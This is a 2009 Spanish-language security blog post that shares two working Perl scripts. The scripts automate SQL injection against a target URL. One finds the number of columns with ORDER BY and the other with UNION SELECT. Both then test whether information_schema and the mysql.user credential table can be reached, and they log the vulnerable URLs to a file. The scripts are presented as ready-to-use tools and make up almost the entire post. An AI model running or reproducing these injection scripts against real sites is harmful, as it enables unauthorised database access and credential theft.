Backup Oficial de SeguridadBlanca.Org

viernes, 12 de junio de 2009

Encuentra Columnas en Mysql con estas tool...

Estos Códigos estan hechos por Login-r00t un excelente programador y bueno el nos nutre esta ves con esta tool para poder encontrar Columnas en Mysql...

usando el comando Order...


Código:
use LWP::Simple;

if(!$ARGV[2])
{
print "\n\n## c0ded by Login-Root | 2008 ##";
print "\n\nUso: perl $0 [WEBSITE] [COLUMNS] [FILE]\n";
print "\n[WEBSITE]: http://www.web.com/index.php?id=\n[COLUMNS]: Limite de columnas\n[FILE]: Archivo donde guardar web vulnerable\n";
exit (1);
}

open(WEB,">>".$ARGV[2]) || die "\n\n[-] Imposible crear el archivo de texto\n";
$column=1;
$count=1;
while ($column <= $ARGV[1]) { $sql=$ARGV[0]."-1+order+by+".$column."--"; $contenido=get($sql)or die("[-] Direccion web ingresada erroneamente, favor de reingresar de nuevo\n"); if($contenido=~ /mysql_fetch_/ || $contenido=~ /Unknown column/) { print "\n[+] Fallo el intento de obtener $column columnas\n"; $column --; if ($column == 0) { $column ++; } $sql=$ARGV[0]."-1+order+by+".$column."--"; print "[+] La web tiene $column columnas:\n\n"; print "$sql\n\n"; print WEB "$sql\n"; while ($count < $column) { $union.=','.$count; $count++; } print "\n[+] Chequeando si existe Information_Schema..."; $sql=$ARGV[0]."-1+union+all+select+0".$union."+from+information_schema.tables--"; $contenido=get($sql)or die("[-] Imposible obtener Information_Schema\n"); if($contenido=~ /mysql_fetch_/ || $contenido=~ /Access denied for user/ || $contenido=~ /doesn't exist/) { print "\n[-] Information_Schema no disponible"; } else { print "\n[+] Information_Schema disponible...guardando en $ARGV[2]"; print WEB "$sql\n"; } print "\n[+] Chequeando si existe MySQL.User..."; $sql=$ARGV[0]."-1+union+all+select+0".$union."+from+mysql.user--"; $contenido=get($sql)or die("[-] Imposible obtener MySQL.User\n"); if($contenido=~ /mysql_fetch_/ || $contenido=~ /Access denied for user/ || $contenido=~ /doesn't exist/) { print "\n[-] MySQL.User no disponible\n\n"; } else { print "\n[+] MySQL.User disponible...guardando en $ARGV[2]\n"; print WEB "$sql\n"; } print "[+] Todo salvado correctamente en $ARGV[2]\n\n"; print "## c0ded by Login-Root | 2008 ##\n\n"; exit (1); } else { print "\n[!] Sin error al intentar con $column columnas"; $column ++; } } print "\n[-] Imposible encontrar numero de columnas, intentar con mas columnas\n"; exit (1);




Ahora lo mismo pero usando el Comando Union...




Código:
use LWP::Simple;

if(!$ARGV[2])
{
print "\n\n## c0ded by Login-Root | 2008 ##";
print "\n\nUso: perl $0 [WEBSITE] [COLUMNS] [FILE]\n";
print "\n[WEBSITE]: http://www.web.com/index.php?id=\n[COLUMNS]: Limite de columnas\n[FILE]: Archivo donde guardar web vulnerable\n";
exit (1);
}

open(WEB,">>".$ARGV[2]) || die "\n\n[-] Imposible crear el archivo de texto\n";
$column=0;

while ($column <= $ARGV[1])
{
$union.=','.$column;
if ($column == 0)
{
$union='';
}
$sql=$ARGV[0]."-1+union+all+select+0".$union."--";
$contenido=get($sql)or die("[-] Direccion web ingresada erroneamente, favor de reingresar de nuevo\n");

if($contenido=~ /mysql_fetch_/ || $contenido=~ /The used SELECT statements have a different number of columns/)
{
$column ++;
print "\n[!] Fallo el intento de obtener $column columnas";
}
else
{
$column ++;
print "\n[+] La web posee $column columnas\n\n";
print "$sql\n\n";
print WEB "$sql\n";
print "\n[+] Chequeando si existe Information_Schema...";
$sql=$ARGV[0]."-1+union+all+select+0".$union."+from+information_schema.tables--";
$contenido=get($sql)or die("[-] Imposible obtener Information_Schema\n");
if($contenido=~ /mysql_fetch_/ || $contenido=~ /Access denied for user/ || $contenido=~ /doesn't exist/)
{
print "\n[-] Information_Schema no disponible";
}
else
{
print "\n[+] Information_Schema disponible...guardando en $ARGV[2]";
print WEB "$sql\n";
}
print "\n[+] Chequeando si existe MySQL.User...";
$sql=$ARGV[0]."-1+union+all+select+0".$union."+from+mysql.user--";
$contenido=get($sql)or die("[-] Imposible obtener MySQL.User\n");
if($contenido=~ /mysql_fetch_/ || $contenido=~ /Access denied for user/ || $contenido=~ /doesn't exist/)
{
print "\n[-] MySQL.User no disponible\n\n";
}
else
{
print "\n[+] MySQL.User disponible...guardando en $ARGV[2]\n";
print WEB "$sql\n";
}
print "[+] Todo salvado correctamente en $ARGV[2]\n\n";
print "## c0ded by Login-Root | 2008 ##\n\n";
exit (1);
}
}
print "\n[-] Imposible encontrar numero de columnas, intentar con mas columnas\n";
exit (1);

Saludos
Dr.White

No hay comentarios:

Publicar un comentario